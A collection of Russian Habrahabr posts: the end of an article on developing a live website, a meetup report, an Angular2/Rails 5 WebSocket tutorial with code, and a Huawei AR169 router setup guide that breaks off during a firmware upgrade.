проблем и недоработок. Ведь типов устройств сейчас очень много, и учесть все не просто. Адаптивность можно всегда доделать или улучшить уже существующую, но, к сожалению, об этом задумываются далеко не все. Кроме проектирования интерфейса еще можно и нужно работать с версткой и графикой. Её можно оптимизировать, чтобы сайт загружался быстрее. Это даст больше удовлетворения как для пользователей, так и поисковые системы будут выше показывать сайт в результатах поиска. Проверить скорость загрузки сайта можно тут: https://developers.google.com/speed/pagespeed/insights/?hl=ru . Проверить корректность отображения в разных браузерах тут: http://browsershots.org/ . Проверка SEO параметров сайта тут: https://a.pr-cy.ru/ . Проверить на ошибки верстки тут: https://validator.w3.org/ — Google, который, кстати, не так давно начал учитывать и ошибки валидности и чем больше их, тем ниже сайт. Так, страницу за страницей можно улучшать проект и его основные показатели. Маркетинговые усилия будут становиться все более эффективными, пользователи будут все более удовлетворенные, а денег будет больше. Как показывает практика, именно улучшение интерфейса чаще всего дает хорошую окупаемость инвестиций. Технологии Незаметная для конечного пользователя, но очень важная часть для владельца проекта. В нашем мире технологии очень быстро устаревают. Каждые 2-3 года выходят новые версии языков и фреймворков, а CMS вообще обновляются постоянно. И часто новые версии сильно отличаются от прошлых, дают значительно больше возможностей. С другой стороны, старые версии перестают поддерживаться, и с ними работать становится проблематично. То есть вопрос не стоит о возможностях новой версии, тут вопрос о потере эффективности и скорости разработки. Техническую платформу любого интернет-проекта нужно постоянно обновлять и держать в актуальном состоянии. Для этого нужно следовать нескольким важным правилам. Во-первых, разрабатывать сразу правильно с учетом будущих обновлений — в частности, в CMS не трогать ядро при разработке, иначе она не обновится. Во-вторых, писать код чисто и понятно, с учетом существующих стандартов качества (например, один из стандартов для PHP ). В-третьих, важно комментировать код, чтобы программист, который будет обновлять систему, даже если он её не делал, без проблем смог в ней разобраться. В-четвертых, важно создать и поддерживать актуальную документацию по проекту, где будет полностью описана система с технической точки зрения. Соблюдать чистоту нужно не только в коде, но в самом наборе технологий. Чем больше проект, тем больше технологий там может использоваться, но тут важно выбирать технологии взвешенно и не по тому, что знает программист, а по тому, что действительно эффективно для решения той или иной задачи. Часть проекта с ростом количества посетителей может понадобиться переписать, не все можно масштабировать, особенно, если была заложена неправильная архитектура и не предусмотрена возможность масштабирования, что встречается довольно часто. Иногда нужно переписывать весь сайт, если он сразу писался, скажем, на CMS, а его посещаемость выросла, и сайт начал тормозить или вообще падать. В любом случае, хороший технический анализ нужен прежде, чем принимать решения по технологиям. Более детально про технологии мы писали в статье: " Выбор технологий для большого и не очень проекта " — но эта статья больше про новые проекты, а не про старые. В современном мире есть много разных сторонних сервисов, которые подключать часто довольно выгодно. Например, сервисы товарных рекомендаций для интернет-магазинов, платежные агрегаторы, сервисы логина через социальные сети, отправка смс, различные CRM и т.д. То есть у владельца сайта часто есть выбор: писать свою уникальную систему или воспользоваться сторонним сервисом. Оба варианта вполне имеют место быть. Тут важно понимать, что использование стороннего сервиса — это дешево, но все данные находятся у этого сервиса, и мы ограничены его функциональностью. Поэтому подобными сервисами, в основном, пользуются более мелкие сайты, а крупные разрабатывают свои уникальные системы. Как правило, проекты запускаются с минимальным количеством сервисов, а в процессе жизни сайта их становится все больше. Многие почему-то считают, что подключить такие сервисы проблематично. На самом деле, чаще всего это довольно простая задача. Такие сервисы имеют свою API и хорошую документацию, что делает их подключение задачей несложной. Сервера и инфраструктура Тут все зависит от скорости роста проекта и его посещаемости. Если сайт делался на коробочной CMS, а его посещаемость начинает быстро расти, то избежать падения сайта поможет только добавление серверов или перемещение сайта в облако (типа AWS). Это, кстати, одна из распространенных проблем, когда экономят на технологиях и разрабатывают на коробочном решении, а после сильно тратятся на сервера, чтобы это решение хоть как-то работало. С большими сайтами (на фреймворках или чистом язык) все значительно проще. Заранее можно сделать нагрузочное тестирование и выяснить, сколько посетителей выдержат текущие сервера. Обычно замеряется два показателя: стандартная и пиковая нагрузки. Затем сделать расчет нагрузок, который позволит понять, когда, как и сколько добавлять серверов, чтобы решение работало без проблем. Часто начинают с одного сервера, затем появляется отдельный сервер для БД, затем их становится несколько и т.д. Если у нас не массовый сервис и больших нагрузок не предвидится, то с серверами почти ничего не нужно делать. Один раз настроить сам сайт и автоматическое бекапирование, а затем иногда поглядывать, чтобы все работало корректно. Впрочем, это — удел маленьких сайтов, с большими постоянно работают профессиональные серверные админы (следят за безопасностью, нагрузками, местом на дисках и их работоспособностью, чтобы они не ломались и т.д.) Хочется вспомнить, что в нашей стране сервера лучше держать за границей или хотя бы автоматическое бекапирование иметь в другой стране. Не раз были истории, когда сервера вывозились правоохранительными органами, и целые сайты умирали. Я как-то столкнулся с интересной историей в Украине, когда местное СБУ вывезло все сервера одного из крупнейших тематических сайтов, а бекапа каким-то образом не оказалось. Органы тогда убили целый бизнес. Контент С ним тоже нужно постоянно работать: улучшать старый контент и добавлять новый. Особенно это касается информационных сайтов, магазинов, больших порталов и т.д. Многие опять же совершают тут ошибку: вместо развития контента сайта один раз его наполнили и собирают с него клиентов. Это неправильно, со временем такой сайт будет получать все меньше посетителей, а, следовательно, и денег. Должна быть контент-стратегия, как часть общей стратегии развития ресурса, в которой будет обозначено, какой контент, как, куда и когда нужно публиковать. Нужно помнить про уникальность контента. И пользователи и поисковые системы любят уникальный контент. Кроме того, контент должен отвечать требованиям SEO, чтобы он котировался в поисковых системах и давал приток посетителей из них. В сайтах, где контент полностью или частично генерируют пользователи, нужно постоянно мотивировать их это делать, продумать и разработать специальные инструменты. К примеру, если человек купил что-то в интернет-магазине, ему можно прислать через 1-2 недели емайл и попросить оставить отзыв о товаре. Маркетинг и продвижение С первого взгляда кажется, что тут все очень просто: нужно больше продаж, просто закупаем больше трафика, и дело в шляпе! На самом деле, как и с самим сайтом, здесь есть над чем работать и что улучшать. Есть замечательная цитата Джона Ванамейкера: «Я знаю, что половина моего рекламного бюджета расходуется впустую. Беда в том, что я не знаю, какая именно половина». Это довольно старая мысль — в современном мире есть много инструментов измерения эффективности. Более того, мы говорим об интернет-проектах, где все можно измерять и улучшать, этим и нужно пользоваться. Для начала нужно подготовить сам сайт. Первым делом проверить, насколько он оптимизирован под поисковые системы. Информации по SEO очень много, например, 20 правил SEO-оптимизации eCommerce проектов . Затем проверить контент сайта: он должен быть не только оптимизирован под поисковые системы, но и мотивировать пользователей совершать какие-то действия. Отдельно стоит проверить интерфейс: он тоже должен побуждать пользователей к каким-то полезным для проекта действиям. Для контекстной рекламы нужно создать специальные посадочные страницы, чтобы увеличить конверсию и т.д. Действий по подготовке сайта довольно много, и почти все они влияют на конверсию, средний чек и т.д. Другими словами, это нужно сделать, чтобы получить максимальный эффект от посетителей, попавших на сайт. Когда сайт готов, можно заняться оптимизацией самих каналов коммуникации, через которые на сайт попадают потенциальные клиенты. Их почти всегда можно сделать более эффективными. Для начала нужно рассчитать экономическую эффективность каждого из каналов, выявить существующие проблемы и возможности увеличения эффективности, а затем заняться оптимизаций и перераспределением бюджета от менее эффективным к более эффективным. Тут работы не меньше, чем с самим сайтом, но это уже тема отдельной статьи. Анализ эффективности и корректировка стратегии И вот, когда мы сделали огромное количество работы по всем фронтам, наш старый сайт должен зажить новой жизнью, стать значительно более эффективным, часто даже в разы, особенно, если над ним никто до этого системно не работал. Однако этого все равно недостаточно. При таких значительных изменений нужно постоянно отслеживать эффективность всех действий. Далеко не все допущения станут эффективными, это нормально. Задача команды сайта выяснить, что именно сработало и насколько (в плане прибыли). И уже на основе этих результатов вносить корректировки в стратегию. Так что же делать с работающим сайтом? Интернет-проект — это как живой организм, с ним нужно постоянно работать и улучшать его. Сразу после создания становится понятным, станет ли проект бизнесом или нет. И, если видно, что идея «выстрелила», и сайт уже приносит деньги или будет приносить их в будущем, над его развитием нужно начинать работать. С чего именно начать, зависит от конкретного проекта. Многие сайты настолько устаревают, что их приходится полностью переделывать. Большие сайты постоянно обновляются, маленькие существенно преображаются раз в 3-5 лет, главное — не стоять на месте. И этот процесс должен быть системным, всеобъемлющим. Нельзя поработать над сайтом, но забыть про маркетинг, или наоборот. Нельзя улучшать только одну из сфер, потому что другие будут отставать, и эффекта синергии не будет. Если вы еще не начали активно повышать эффективность вашего проекта или этот процесс по какой-то причине очень медленный, то самое время этим заняться, ведь скоро Новый Год и он должен стать новым этапом развития проекта. P.S. Чтобы получать наши новые статьи раньше других или просто не пропустить новые публикации — подписывайтесь на фан страницы SECL Group: Facebook , VK , и Twitter . Автор: Никита Семенов CEO Компания SECL Group
https://habrahabr.ru/company/SECL_GROUP/blog/318038/
habrahabr
История про первый RDSFront&Meetup
['frontend', 'meetup', 'rdsfrontend', 'community']
Привет! До недавних пор у нас внутри компании проводились митапы под названием RamblerJS. Разработчики готовили доклады на интересные им темы и рассказывали в нашем лектории всем фронтендерам (и не...
Привет! До недавних пор у нас внутри компании проводились митапы под названием RamblerJS. Разработчики готовили доклады на интересные им темы и рассказывали в нашем лектории всем фронтендерам (и не только) группы компаний. Обычно это сопровождалось пиццой или фруктами и небольшой дискуссией после. В этот раз всё прошло немного иначе, о чём и пойдет речь в посте от лица одного из организаторов. В среду, 14 декабря, мы провели пилотный RDSFront&Meetup , который изначально задумывался как очередной митап внутри компании. Но по ходу его подготовки все изменилось: от списка докладов до названия мероприятия. Сначала планировалось одно выступление Это был доклад про оптимизацию загрузки веб страниц. Об этом мы задумывались давно, так как ярко выраженной культуры оптимизации frontend внутри холдинга не было, а количество функционала на клиенте росло. И вот однажды один Project Manager сказал: «Надоело, что проект медленно грузится! Давайте оптимизировать!». Эта фраза вылилась в исследование и оптимизацию одного из проектов. И так обычно довольный менеджер после увиденных результатов расплылся в еще большей улыбке. Затем, то ли по случайности, то ли на энтузиазме, темой заинтересовался разработчик из другого проекта. Он исследовал не только свой, но и проекты всего холдинга и сделал выводы. Это все вылилось в тему доклада, которую у нас никто обычно не затрагивал. Еще один доклад в программу В один из дней пришел человек из R&D со словами: «Я сделал тулзу и хочу ее продемонстрировать». Тулза эта называется rship . Он уже выступал и не один раз, поэтому все, что нам потребовалось, попросить его прийти на прогон выступления в один из дней. Также, по ходу подготовки, наклевывался еще один доклад про компонентный подход, но предложение участвовать в митапе оказалось неожиданностью для автора, и в итоге было решено перенести его доклад на следующий митап. Как внутреннее мероприятие стало внешним Спустя некоторое время мы поняли, что наклевываются интересные доклады. Так как в воздухе давно витала идея расширяться, было решено пригласить внешних гостей, к чему все отнеслись позитивно. Но если все пойдет не так, мы не хотели, чтобы это отразилось на большом количестве людей, и начали думать, как сделать так, чтобы пришло нужное количество гостей. Для начала решили, что если придет двадцать внешних гостей, то это будет идеально для начала. Долго тянули и в итоге в пятницу создали событие на timepad , а в понедельник, перед мероприятием, написали статью на хабре . Итого: около сорока регистраций и около двадцати пришло на мероприятие. Плюс заинтересованные сотрудники нашей компании, в итоге вышло около семидесяти. По ходу дела мы придумали другое название, под которым мы можем объединить другие наши мероприятия: RDSFront&. Так RamblerJS стал RDSFront&Meetup, частью RDSFront&Community Нужна не только лишь пицца В день перед мероприятием я понял, что нужно что-то особенное, что мне самому понравилось бы, потому что пиццы на неделе было и так безумное количество. И этим чем-то оказались имбирное печенье из магазина шведских продуктов IKEA! Обожаю их с кофе! Утром попросил организовать две кофемашины, чтобы на всех хватило, в итоге из пяти коробок ушло почти четыре. Оставшееся в четвертой коробке печенье на следующий день было съедено нашей командой. Перед самим мероприятием запустили видеоряд с новым логотипом под музыку из soundcloud что создало непринужденную атмосферу и вечер прошел хорошо! В финале Конечно, я переживал и когда представлял наше событие гостям, пару раз сказал не то, что нужно. Разумеется, я был бы рад, если бы гостей пришло больше. И, конечно, над выступлениями можно было еще поработать. Но как по мне, все прошло хорошо для первого раза, и в следующий раз будет только лучше! Планы на будущее Собрать обратную связь и учесть комментарии перед следующим событием. Сделать мероприятие более дружелюбным к нашим гостям. Допилить логотип, потому что: «Силуэты людей смотрятся как атака клонов, нужно сделать каждого уникальным. Например, дорисовать бороду!». Запустить собственный сайт с анонсами мероприятий, видео и фотоматериалами. Спасибо всем, кто помогал и всем, кто пришел! P.S. Доп. материал по оптимизации веб: #1 Оптимизация загрузки web. Презентация по rship: #2 RSHIP. Инструмент для проектирования и разработки изоморфных приложений.
https://habrahabr.ru/company/rambler-co/blog/317792/
habrahabr
Angular2 + Websocket + RxJS + Rails5
['angular2']
Всем привет! Эта статья о том как связать клиентское приложение Angular2 с Rails 5 сервером используя Websocket. Rails Для примера нам потребуется простейший ApplicationCable::Channel:...
Всем привет! Эта статья о том как связать клиентское приложение Angular2 с Rails 5 сервером используя Websocket. Rails Для примера нам потребуется простейший ApplicationCable::Channel: class ChatChannel < ApplicationCable::Channel def subscribed stream_from 'chat_channel' end def index ActionCable.server.broadcast 'chat_channel', { messages: Message.serialize_all( Message.all ) } end def create( data ) Message.create( name: data[ 'name' ], text: data[ 'text' ] ); ActionCable.server.broadcast 'chat_channel', { messages: Message.serialize_all( Message.all ) } end def unsubscribed end end Angular2 WebSocketService Для начала нам потребуется сервис, который будет обеспечивать наше приложение обменом данных с сервером: import { Injectable } from "@angular/core"; import { Subject, Observable, Subscription } from 'rxjs/Rx'; import { WebSocketSubject } from "rxjs/observable/dom/WebSocketSubject"; @Injectable() export class WebSocketService { private ws: WebSocketSubject<Object>; private socket: Subscription; private url: string; public message: Subject<Object> = new Subject(); public opened: Subject<boolean> = new Subject(); public close():void{ this.socket.unsubscribe(); this.ws.complete(); } public sendMessage( message:string ):void{ this.ws.next( message ); } public start( url: string ):void{ let self = this; this.url = url; this.ws = Observable.webSocket( this.url ); this.socket = this.ws.subscribe( { next: ( data:MessageEvent ) => { if( data[ 'type' ] == 'welcome' ){ self.opened.next( true ); } this.message.next( data ); }, error: () => { self.opened.next( false ); this.message.next( { type: 'closed' } ); self.socket.unsubscribe(); setTimeout( () => { self.start( self.url ); }, 1000 ); }, complete: () => { this.message.next( { type: 'closed' } ); } } ); } } В данном сервисе есть 3 приватные и 2 публичные переменные, а также 3 публичные функции. private ws: WebSocketSubject<Object>; private socket: Subscription; private url: string; ws — наблюдаемая переменная WebSocketSubject. socket — переменная для подписки на ws. url — ссылка на сокет. public message: Subject<Object> = new Subject(); public opened: Subject<boolean> = new Subject(); message — наблюдаемая переменная в которую транслируются все данные из сокета. opened — наблюдаемая переменная которая следит за открытием/закрытием соединения с сокетом. public close():void{ this.socket.unsubscribe(); this.ws.complete(); } Функция для закрытия сокета. public sendMessage( message:string ):void{ this.ws.next( message ); } Функция для отправки данных в сокет. public start( url: string ):void{ let self = this; this.url = url; this.ws = Observable.webSocket( this.url ); this.socket = this.ws.subscribe( { next: ( data:MessageEvent ) => { if( data[ 'type' ] == 'welcome' ){ self.opened.next( true ); } this.message.next( data ); }, error: () => { self.opened.next( false ); this.message.next( { type: 'closed' } ); self.socket.unsubscribe(); setTimeout( () => { self.start( self.url ); }, 1000 ); }, complete: () => { this.message.next( { type: 'closed' } ); } } ); } Эта функция открывает соединение с сокетом, записывая его объект в наблюдаемую переменную и подписывается на трансляцию из нее. При потере связи каждую секунду пытается восстановить связь. ChannelWebsocketService Наследуемый сервис для подписки на каналы Rails5 Action Cable: import { Injectable } from "@angular/core"; import { Subject } from "rxjs/Subject"; import { WebSocketService } from "./websocket.service"; @Injectable() export class ChannelWebsocketService { private socketStarted: boolean; public observableData: Subject<Object> = new Subject(); public identifier:Object = {}; public identifierStr: string; public subscribed: Subject<boolean> = new Subject(); constructor( private websocketService: WebSocketService ){ this.observeOpened(); this.observeMessage(); } private static encodeIdentifier( identifier:string ):Object{ return JSON.parse( identifier ); } private static getDataString( parameters:Object ):string{ let first = true, result = ''; for ( let key in parameters ){ if( first ){ first = false; result += `\"${ key }\":\"${ parameters[ key ] }\"`; } else { result += `, \"${ key }\":\"${ parameters[ key ] }\"`; } } return `{ ${ result } }`; } private getSubscribeString():string{ this.identifierStr = ChannelWebsocketService.getDataString( this.identifier ); return JSON.stringify( { command: 'subscribe', identifier: this.identifierStr } ); }; private isThisChannel( data:Object ):boolean { if( data[ 'identifier' ] ){ let identifier = ChannelWebsocketService.encodeIdentifier( data[ 'identifier' ] ); if ( JSON.stringify( identifier ) === JSON.stringify( this.identifier ) ){ return true; } } return false; } private observeMessage(){ let self = this; this.websocketService.message.subscribe( ( data: Object ) => { if( self.isThisChannel( data ) ){ if( data[ 'type' ] && data[ 'type' ] == 'confirm_subscription' ){ this.subscribed.next( true ); } else if ( data[ 'message' ] ){ this.observableData.next( data[ 'message' ] ); } } } ); } private observeOpened(){ let self = this; this.websocketService.opened.subscribe( ( data: boolean ) => { self.socketStarted = data; if( data ){ self.subscribe(); } } ); } private subscribe(){ this.websocketService.sendMessage( this.getSubscribeString() ); } public send( data: Object ){ this.websocketService.sendMessage( JSON.stringify( { command:'message', identifier: this.identifierStr, data: ChannelWebsocketService.getDataString( data ) } ) ); } public unsubscribe(){ this.websocketService.sendMessage( JSON.stringify( { command: 'unsubscribe', identifier: this.identifierStr } ) ); this.subscribed.next( false ); } } В данном сервисе есть 2 приватные и 3 публичные переменные, а также 7 приватных и 2 публичные функции. private socketStarted: boolean; private identifierStr: string; socketStarted — переменная в которую транслируется состояние подписки на сокет. identifierStr — специально подготовленная строка идентификатор для Rails5 Action Cable канала. public observableData: Subject<Object> = new Subject(); public identifier:Object = {}; public subscribed: Subject<boolean> = new Subject(); observableData — наблюдаемая переменная в которую записывается сообщение из сокета для канала. identifier — объект идентификатор для Rails5 Action Cable канала. subscribed — наблюдаемая переменная в которую записывается состояние подписки. constructor( private websocketService: WebSocketService ){ this.observeOpened(); this.observeMessage(); } ... private observeMessage(){ let self = this; this.websocketService.message.subscribe( ( data: Object ) => { if( self.isThisChannel( data ) ){ if( data[ 'type' ] && data[ 'type' ] == 'confirm_subscription' ){ this.subscribed.next( true ); } else if ( data[ 'message' ] ){ this.observableData.next( data[ 'message' ] ); } } } ); } private observeOpened(){ let self = this; this.websocketService.opened.subscribe( ( data: boolean ) => { self.socketStarted = data; if( data ){ self.subscribe(); } } ); } В конструкторе этого сервиса мы вызываем 2 функции: observeMessage и observeOpened, которые отслеживают присланные сокетом данные и состояние сокета соответственно. private static encodeIdentifier( identifier:string ):Object{ return JSON.parse( identifier ); } private static getDataString( parameters:Object ):string{ let first = true, result = ''; for ( let key in parameters ){ if( first ){ first = false; result += `\"${ key }\":\"${ parameters[ key ] }\"`; } else { result += `, \"${ key }\":\"${ parameters[ key ] }\"`; } } return `{ ${ result } }`; } encodeIdentifier — статическая приватная функция декодирует строку идентификатора, которую вернул сокет для идентификации сообщения на принадлежность к каналу. getDataString — преобразовывает объект в формат строки, который принимает Rails5 Action Cable. private getSubscribeString():string{ this.identifierStr = ChannelWebsocketService.getDataString( this.identifier ); return JSON.stringify( { command: 'subscribe', identifier: this.identifierStr } ); }; Возвращает строку для подписки на канал Rails5 Action Cable. private isThisChannel( data:Object ):boolean { if( data[ 'identifier' ] ){ let identifier = ChannelWebsocketService.encodeIdentifier( data[ 'identifier' ] ); if ( JSON.stringify( identifier ) === JSON.stringify( this.identifier ) ){ return true; } } return false; } Определяет принадлежность сообщения от сокета к данному каналу. private subscribe(){ this.websocketService.sendMessage( this.getSubscribeString() ); } Подписывает на канал. public send( data: Object ){ this.websocketService.sendMessage( JSON.stringify( { command:'message', identifier: this.identifierStr, data: ChannelWebsocketService.getDataString( data ) } ) ); } Отправляет данные в канал Rails5 Action Cable; public unsubscribe(){ this.websocketService.sendMessage( JSON.stringify( { command: 'unsubscribe', identifier: this.identifierStr } ) ); this.subscribed.next( false ); } Отписывает от канала. ChatChannelService Cервис, унаследованный от ChannelWebsocketService для подписки на канал ChatChannel: import { Injectable } from "@angular/core"; import { ChannelWebsocketService } from "./channel.websocket.service"; import { WebSocketService } from "./websocket.service"; @Injectable() export class ChatChannelService extends ChannelWebsocketService { constructor( websocketService: WebSocketService ){ super( websocketService ); this.identifier = { channel: 'ChatChannel' }; } } В конструкторе этого сервиса переопределяется переменная identifier для идентификации канала. ChatComponent Компонент который используя ChatChannelService принимает/отправляет данные в канал. Пример кода не привожу, он есть в GitHub, ссылка на который приведена ниже Пример Здесь можно скачать пример. Для старта клиентского приложения переходим в папку «client» и вызываем: npm install gulp Надеюсь эта статья поможет разобраться в данном вопросе.
https://habrahabr.ru/post/318040/
habrahabr
Роутер+гипервизор Huawei в одном корпусе. Запускаем с нуля
['Huawei']
Данная статья будет полезна системным администраторам, планирующим работать с сетевым оборудованием Huawei, а так же ИТ-специалистам, перед которыми стоит задача разработки собственных решений на...
Данная статья будет полезна системным администраторам, планирующим работать с сетевым оборудованием Huawei, а так же ИТ-специалистам, перед которыми стоит задача разработки собственных решений на базе стандартных платформ. В ней будет приведено подробное описание настройки устройства посредством командной строки (CLI). Я получил для тестирования и изучения продукт компании Huawei Enterprise – Huawei AR169W-P-M9. Как следует из описания на сайте производителя – это устройство объединяет в себе полный набор услуг, в том числе маршрутизации, коммутации, безопасности и беспроводного доступа, а также содержит в себе открытую сервисную платформу (OSP, которая по сути является x86 компьютером), которая может обеспечить практически любой функционал, доступный на x86-платформе. Если все упростить – то это полноценный роутер корпоративного уровня с интегрированным гипервизором на базе x86 архитектуры и все это размером с толстую книгу. Рассмотрим устройство поближе. Основные характеристики с сайта производителя ниже. Рис.1 1 — Порт USB (host) 2 — Антенна Bluetooth 3 — Две Wi-Fi антенны 4 — Слот для доп. Жесткого диска (HDD 2.5”) 5 — Консольный порт 6 — Порт WAN 1GE Ethernet 7 — Порт WAN VDSL 8 — LAN – 4х портовый коммутатор GE thernet 9 — Кнопка сброса Reset 10 — Разъем для блока питания PoE портов (100 W). В комплект не входит. 11 — Разъем для стандартного блока питания (60 W) 12 — Разъем для фиксации кабеля питания. 13 — Три USB интерфейса (host). Выходная мощность каждого 5 W. 14 — VGA для подключения монитора. 15 — HDMI видео-интерфейс 16 — Разъем для подключения наушников 17 — Разъем для подключения микрофона 18 — Интерфейс RS485/232 19 — Интерфейс для подключения Bluetooth антенны 20 — Название модели. 21 — Разъем для заземления 22 — Две антенны Wi-Fi Техническая спецификация Процессор основного устройства Dual-core, 1 GHz Память основного устройства 512 Мб Память OSP системы 8 Гб Flash основного устройства 512 Мб Жесткий диск HDD OSP системы (build in) 64 Гб Процессор OSP системы Intel Atom 1.9 GHz 4 Core Размеры (В x Ш x Г) 44.5 мм x 300 мм x 220 мм Wi-Fi 802.11b/g/n + 802.11ac Service Forwarding Performance (IMIX) 150 Мб/сек. Масса 2,8 кг. Питание 100В – 240В Характеристики маршрутизатора Базовый функционал ARP, DHCP, NAT, and Sub interface management WLAN (AP – точка доступа FAT) AP management, WLAN QoS, WLAN security, WLAN radio management, and WLAN user management (Only WLAN models support WLAN AP features) WLAN (AC – контроллер точек доступа) AP management (AC discovery/AP access/AP management), CAPWAP, WLAN user management, WLAN radio management (802.11a/b/g/n), WLAN QoS (WMM), and WLAN security (WEP/WPA/WPA2/Key management) LAN IEEE 802.1P, IEEE 802.1Q, IEEE 802.3, VLAN management, MAC address management, MSTP, etc. Ipv4 Unicast Routing Routing policy, static route, RIP, OSPF, IS-IS, and BGP Ipv6 Unicast Routing Routing policy, static route, RIPng, OSPFv3, IS-Isv6, and BGP4+ Multicast IGMP v1/v2/v3, PIM SM, PIM DM, and MSDP VPN IPSec VPN, GRE VPN, DSVPN, L2TP VPN, and Smart VPN QoS Diffserv mode, Priority mapping, traffic policing (CAR), traffic shaping, congestion avoidance (based on IP precedence/DSCP WRED), congestion management (LAN interface: SP/WRR/SP + WRR; WAN interface: PQ/CBWFQ), MQC (traffic classification, traffic behavior, and traffic policy), Hierarchical QoS, and Smart Application Control (SAC) Security ACL, firewall, 802.1x authentication, AAA authentication, RADIUS authentication, HWTACACS authentication, broadcast storm suppression, ARP security, ICMP attack defense, URPF, CPCAR, blacklist, IP source tracing, and PKI Management and Maintenance Upgrade management, device management, web-based GUI, GTL, SNMP v1/v2c/v3, RMON, NTP, CWMP, Auto-Config, site deployment using USB disk, and CLI Следующие операционные системы могут быть установлены на сервисный модуль OSP: • Windows Server 2003 32bit, • Windows Server 2008 R1 32bit, • Windows Server 2008 R2 64bit, • Windows 7 32bit sp1, • Windows 8.x • Red Hat Enterprise 6.5, • Red Hat Enterprise 7.0, • SUSE Enterprise 11 SP1, • Fedora Core 20, • Debian Wheezy. После более детального изучения устройства, я набросал следующую структурную схему устройства: Рис.2 Как можно увидеть, устройство условно состоит из двух частей: MCU – основное устройство, которое является роутером Huawei серии AR. И по сути ничем от него не отличается, весь функционал роутеров этой серии доступен в данном устройстве. OSP – open system platform – по сути является x86 компьютером на котором установлен гипервизор QEMU. Взаимодействует с MCU посредством виртуального свича (vSwitch). В командной строке MCU мы увидим устройство как отдельный интерфейс (я постарался отразить это на структурной схеме в виде отдельного линка к логическому роутеру). Управление гипервизором также происходит из командной строки роутера, что на мой взгляд не очень удобно, возможно в будущем это изменится и будет возможность настраивать OSP посредством клавиатуры и монитора или посредством WEB-интерфейса. Wi-Fi модуля (802.11b/g/n + 802.11ac) Всех возможных портов для взаимодействия с внешним миром (описаны выше). В своей практике я часто имею дело с сетевым оборудованием Huawei, считаю, что достаточно хорошо знаю его архитектуру, операционную систему VRP и CLI. Но когда я узнал о существовании такого «гибрида», мне стало интересно – на каком уровне в нем происходит интеграция x86 и VRP? Как будет выглядеть с точки зрения роутера гипервизор? И как будут выглядеть сетевые ресурсы роутера с точки зрения установленной на сервисную платформу x86-ой операционной системы? И интерес, в первую очередь, свяазан с открывающимися вариантами решений различных типовых задач – ведь по сути в одной коробке уже есть почти все, вот к примеру варианты использования: Рис. 3 На рисунке 3 – базовая схема подключения дополнительного офиса к главному. Устройство в дополнительном офисе решает задачу выхода в Интернет, раздачу Wi-Fi, предоставление IP-телефонии, коммутацию четырех устройств, а также до двух серверов для задач, которые нужно решать локально. Второй вариант: Рис. 4 Решение для общественного транспорта. Устройство будет раздавать интернет пассажирам, которое оно будет получать посредством 3G/4G, а также транслировать рекламу посредством HDMI-интерфейса и подключенному к нему монитору и колонке. Или, например, определяя местоположение по GPS, проводить экскурсию пассажирам. Для этого, конечно же, на гостевой ОС должно быть запущено соответствующее приложение. Стоит так же заметить, что для данного применения уместнее использовать промышленный вариант серии AR 500, который выполнен в специальном корпусе, защищающем устройство от тряски. Думаю, что вариантов применения можно придумать множество, эти варианты первые, что пришли мне в голову. Первичные настройки роутера. Пароль по умолчанию на консоль (параметры консоли стандартные, как у Cisco: 9600baud, без контроля четности): Username: admin Password: Admin@huawei (в некоторых ранних версиях VRP пароль может быть Admin@123, но в свежих версиях – такой как указано выше). 1) Прописываем IP адрес для VlanInterface1, в котором по умолчанию находятся порты LAN-свича GE0-GE4, а также маршрут по умолчанию: <Huawei>system-view Enter system view, return user view with Ctrl+Z. [Huawei]sysname AR169 [AR169]interface Vlanif1 [AR169-Vlanif1]ip address 172.31.31.77 255.255.255.0 [AR169-Vlanif1]quit [AR169]ip route-static 0.0.0.0 0.0.0.0 172.31.31.1 2) Настраиваем доступ по SSH к устройству, предвариетльно создав пользователя и сгенерировав ключи rsa: [AR169]rsa local-key-pair create The key name will be: Host RSA keys defined for Host already exist. Confirm to replace them? (y/n):y The range of public key size is (512 ~ 2048). NOTES: If the key modulus is less than 2048, It will introduce potential security risks. Input the bits in the modulus[default = 2048]: Generating keys... ...........................................................................................................................................+++ ....................+++ ..............................................++++++++ ................++++++++ [AR169]user-interface vty 0 4 [AR169-ui-vty0-4]authentication-mode aaa [AR169-ui-vty0-4]protocol inbound ssh [AR169-ui-vty0-4]quit [AR169]aaa [AR169-aaa]local-user user1 password irreversible-cipher Pa$$w0rd [AR169-aaa]local-user user1 privilege level 15 [AR169-aaa]local-user user1 service-type ssh http terminal [AR169]ssh user user1 authentication-type password 3) Далее, пункт опциональный – обновление ПО до последней версии. Перед началом работы с любым устройством крайне рекомендуется обновится до самой последней версии ПО. Проверим, какая версия ПО VRP сейчас стоит на роутере: [AR169]display version Huawei Versatile Routing Platform Software VRP (R) software, Version 5.160 (AR160 V200R007C00SPC600PWE) Copyright (C) 2011-2016 HUAWEI TECH CO., LTD Huawei AR169W-P-M9 Router uptime is 0 week, 0 day, 0 hour, 53 minutes MPU 0(Master) : uptime is 0 week, 0 day, 0 hour, 53 minutes SDRAM Memory Size : 512 M bytes Flash 0 Memory Size : 512 M bytes MPU version information : 1. PCB Version : ARSRU169AGW-L VER.D 2. MAB Version : 0 3. Board Type : AR169W-P-M9 4. CPLD0 Version : 0 5. BootROM Version : 1 SubBoard[1]: 1. PCB Version : AR-1OSPBT-D VER.B 2. Board Type : OSP-X86 Как можно заметить, версия ПО VRP этого роутера V200R007C00SPC600PWE. Условно расшифровать можно, как версия 200, релиз 007, номер в релизе 00, service pack 600. Буквы PWE означают Payload without encryption, что означает, что в данной версии ПО отключено стойкое шифрование с длинной ключа выше 56 бит. Если этих букв нет в названии ПО, то устройство будет поддерживать стойкое шифрование. На момент написания статьи самая свежая доступная версия V200R007C00SPC900, ее можно найти на сайте производителя поиском по ключевым словам “AR 169 OSP”: В случае, если файл будет недоступен для скачивания (пиктограмма в виде замка около названия файла), то следует обратиться к вашему партнеру, через которого приобреталось оборудование. Скачиваем файл с AR169-OSP-V200R007C00SPC900.cc и выкладываем его на TFTP-сервер. Я использую для этих целей бесплатный tftpd64 для Windows. Мой tftp-сервер располагается в той же сети, что и VLAN1 у роутера. Адрес tftp-сервера 172.31.31.250. Далее, для скачивания файла нужно выйти в пользовательский режим (с треугольными скобками ) и дать команду на скачивание файла с tftp сервера: <AR169>tftp 172.31.31.250 get AR169-OSP-V200R007C00SPC900.cc Должно начаться скачивание файла на встроенную flash-память. После скачивания, из этого же режима проверим содержимое flash командой dir и убедимся, что все скачалось. Далее, чтобы при следующей перезагрузке устройства грузилось уже новая версия ПО, нужно в этом же пользовательском режиме дать команду с явным указанием этого нового файла: 